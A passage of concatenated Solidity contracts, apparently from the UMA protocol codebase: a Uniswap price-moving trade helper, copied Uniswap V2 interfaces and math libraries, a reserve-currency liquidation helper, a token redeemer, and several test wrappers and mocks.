// spend up to the allowance of the token in
uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1];
if (amountIn > maxSpend) {
amountIn = maxSpend;
}
address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1];
address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0];
TransferHelper.safeApprove(tokenIn, address(router), amountIn);
if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn);
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests.
path,
to,
deadline
);
}
/**
* @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the
* uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move
* the pool price to be equal to the true price.
* @dev Note that this method uses the Babylonian square root method which has a small margin of error which will
* result in a small over or under estimation on the size of the trade needed.
* @param truePriceTokenA the nominator of the true price.
* @param truePriceTokenB the denominator of the true price.
* @param reserveA number of token A in the pair reserves
* @param reserveB number of token B in the pair reserves
*/
//
function computeTradeToMoveMarket(
uint256 truePriceTokenA,
uint256 truePriceTokenB,
uint256 reserveA,
uint256 reserveB
) public pure returns (bool aToB, uint256 amountIn) {
aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA;
uint256 invariant = reserveA.mul(reserveB);
// The trade ∆a of token a required to move the market to some desired price P' from the current price P can be
// found with ∆a=(kP')^1/2-Ra.
uint256 leftSide =
Babylonian.sqrt(
FullMath.mulDiv(
invariant,
aToB ? truePriceTokenA : truePriceTokenB,
aToB ? truePriceTokenB : truePriceTokenA
)
);
uint256 rightSide = (aToB ? reserveA : reserveB);
if (leftSide < rightSide) return (false, 0);
// compute the amount that must be sent to move the price back to the true price.
amountIn = leftSide.sub(rightSide);
}
// The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol
// We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound
// to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so
// unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant
// handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker
// are simply moved here to maintain truffle support.
function getReserves(
address factory,
address tokenA,
address tokenB
) public view returns (uint256 reserveA, uint256 reserveB) {
(address token0, ) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
)
)
)
);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.0;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
// credit for this implementation goes to
// https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
// this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2);
// however that code costs significantly more gas
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
// SPDX-License-Identifier: CC-BY-4.0
pragma solidity >=0.4.0;
// taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// license is CC-BY-4.0
library FullMath {
function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
if (h == 0) return l / d;
require(h < d, 'FullMath: FULLDIV_OVERFLOW');
return fullDiv(l, h, d);
}
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title ReserveCurrencyLiquidator
* @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of
* financial contracts. Is assumed to be called by a DSProxy which holds reserve currency.
*/
contract ReserveCurrencyLiquidator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to
* liquidate a position within one transaction.
* @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending
* liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has
* passed liveness. At this point the position can be manually unwound.
* @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted.
* These existing tokens will be used first before any swaps or mints are done.
* @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough
* collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves.
* @param uniswapRouter address of the uniswap router used to facilitate trades.
* @param financialContract address of the financial contract on which the liquidation is occurring.
* @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy.
* @param liquidatedSponsor address of the sponsor to be liquidated.
* @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage.
* @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt.
* @param deadline abort the trade and liquidation if the transaction is mined after this timestamp.
**/
function swapMintLiquidate(
address uniswapRouter,
address financialContract,
address reserveCurrency,
address liquidatedSponsor,
FixedPoint.Unsigned calldata maxReserveTokenSpent,
FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
) public {
IFinancialContract fc = IFinancialContract(financialContract);
// 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already
// has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall).
FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc));
// 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics.
FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding());
FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr);
// 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any
// collateral needed to mint the token short fall.
FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall);
// 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this
// will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0.
FixedPoint.Unsigned memory collateralToBePurchased =
subOrZero(totalCollateralRequired, getCollateralBalance(fc));
// 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall.
// Note the path assumes a direct route from the reserve currency to the collateral currency.
if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) {
IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter);
address[] memory path = new address[](2);
path[0] = reserveCurrency;
path[1] = fc.collateralCurrency();
TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue);
router.swapTokensForExactTokens(
collateralToBePurchased.rawValue,
maxReserveTokenSpent.rawValue,
path,
address(this),
deadline
);
}
// 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve
// or not enough collateral in the contract) the script should try to liquidate as much as it can regardless.
// Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall
// as the maximum tokens that could be liquidated at the current GCR.
if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) {
totalCollateralRequired = getCollateralBalance(fc);
collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc));
tokenShortfall = collateralToMintShortfall.divCeil(gcr);
}
// 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR.
// If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral
// currency as this is needed to pay the final fee in the liquidation tx.
TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue);
if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall);
// The liquidatableTokens is either the maxTokensToLiquidate (if we were able to buy/mint enough) or the full
// token token balance at this point if there was a shortfall.
FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate;
if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc);
// 6. Liquidate position with newly minted synthetics.
TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue);
fc.createLiquidation(
liquidatedSponsor,
minCollateralPerTokenLiquidated,
maxCollateralPerTokenLiquidated,
liquidatableTokens,
deadline
);
}
// Helper method to work around subtraction overflow in the case of: a - b with b > a.
function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b)
internal
pure
returns (FixedPoint.Unsigned memory)
{
return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b);
}
// Helper method to return the current final fee for a given financial contract instance.
function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency());
}
// Helper method to return the collateral balance of this contract.
function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this)));
}
// Helper method to return the synthetic balance of this contract.
function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) {
return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this)));
}
}
// Define some simple interfaces for dealing with UMA contracts.
interface IFinancialContract {
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
FixedPoint.Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function positions(address sponsor) external returns (PositionData memory);
function collateralCurrency() external returns (address);
function tokenCurrency() external returns (address);
function finder() external returns (address);
function pfc() external returns (FixedPoint.Unsigned memory);
function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory);
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external;
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
);
}
interface IStore {
function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory);
}
interface IFinder {
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "@uniswap/lib/contracts/libraries/TransferHelper.sol";
// Simple contract used to redeem tokens using a DSProxy from an emp.
contract TokenRedeemer {
function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens)
public
returns (FixedPoint.Unsigned memory)
{
IFinancialContract fc = IFinancialContract(financialContractAddress);
TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue);
return fc.redeem(numTokens);
}
}
interface IFinancialContract {
function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn);
function tokenCurrency() external returns (address);
}
/*
MultiRoleTest contract.
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/MultiRole.sol";
// The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes.
contract MultiRoleTest is MultiRole {
function createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] calldata initialMembers
) external {
_createSharedRole(roleId, managingRoleId, initialMembers);
}
function createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) external {
_createExclusiveRole(roleId, managingRoleId, initialMember);
}
// solhint-disable-next-line no-empty-blocks
function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Testable.sol";
// TestableTest is derived from the abstract contract Testable for testing purposes.
contract TestableTest is Testable {
// solhint-disable-next-line no-empty-blocks
constructor(address _timerAddress) public Testable(_timerAddress) {}
function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) {
// solhint-disable-next-line not-rely-on-time
return (getCurrentTime(), now);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/VaultInterface.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Mock for yearn-style vaults for use in tests.
*/
contract VaultMock is VaultInterface {
IERC20 public override token;
uint256 private pricePerFullShare = 0;
constructor(IERC20 _token) public {
token = _token;
}
function getPricePerFullShare() external view override returns (uint256) {
return pricePerFullShare;
}
function setPricePerFullShare(uint256 _pricePerFullShare) external {
pricePerFullShare = _pricePerFullShare;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Interface for Yearn-style vaults.
* @dev This only contains the methods/events that we use in our contracts or offchain infrastructure.
*/
abstract contract VaultInterface {
// Return the underlying token.
function token() external view virtual returns (IERC20);
// Gets the number of return tokens that a "share" of this vault is worth.
function getPricePerFullShare() external view virtual returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Implements only the required ERC20 methods. This contract is used
* test how contracts handle ERC20 contracts that have not implemented `decimals()`
* @dev Mostly copied from Consensys EIP-20 implementation:
* https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol
*/
contract BasicERC20 is IERC20 {
uint256 private constant MAX_UINT256 = 2**256 - 1;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
uint256 private _totalSupply;
constructor(uint256 _initialAmount) public {
balances[msg.sender] = _initialAmount;
_totalSupply = _initialAmount;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public override returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public override returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public override returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../ResultComputation.sol";
import "../../../common/implementation/FixedPoint.sol";
// Wraps the library ResultComputation for testing purposes.
contract ResultComputationTest {
using ResultComputation for ResultComputation.Data;
ResultComputation.Data public data;
function wrapAddVote(int256 votePrice, uint256 numberTokens) external {
data.addVote(votePrice, FixedPoint.Unsigned(numberTokens));
}
function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) {
return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold));
}
function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) {
return data.wasVoteCorrect(revealHash);
}
function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) {
return data.getTotalCorrectlyVotedTokens().rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Voting.sol";
import "../../../common/implementation/FixedPoint.sol";
// Test contract used to access internal variables in the Voting contract.
contract VotingTest is Voting {
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
)
public
Voting(
_phaseLength,
_gatPercentage,
_inflationRate,
_rewardsExpirationTimeout,
_votingToken,
_finder,
_timerAddress
)
{}
function getPendingPriceRequestsArray() external view returns (bytes32[] memory) {
return pendingPriceRequests;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
contract UnsignedFixedPointTest {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeMath for uint256;
function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) {
return FixedPoint.fromUnscaledUint(a).rawValue;
}
function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isEqual(b);
}
function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThan(b);
}
function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b);
}
function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b));
}
function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThan(b);
}
function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) {
return FixedPoint.Unsigned(a).isLessThanOrEqual(b);
}
function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThan(FixedPoint.Unsigned(b));
}
function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) {
return a.isLessThanOrEqual(FixedPoint.Unsigned(b));
}
function wrapMin(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMax(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue;
}
function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).add(b).rawValue;
}
function wrapSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).sub(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.sub(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue;
}
function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mul(b).rawValue;
}
function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).mulCeil(b).rawValue;
}
function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue;
}
function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).div(b).rawValue;
}
function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).divCeil(b).rawValue;
}
// The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) {
return a.div(FixedPoint.Unsigned(b)).rawValue;
}
// The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly.
function wrapPow(uint256 a, uint256 b) external pure returns (uint256) {
return FixedPoint.Unsigned(a).pow(b).rawValue;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/FixedPoint.sol";
// Wraps the FixedPoint library for testing purposes.
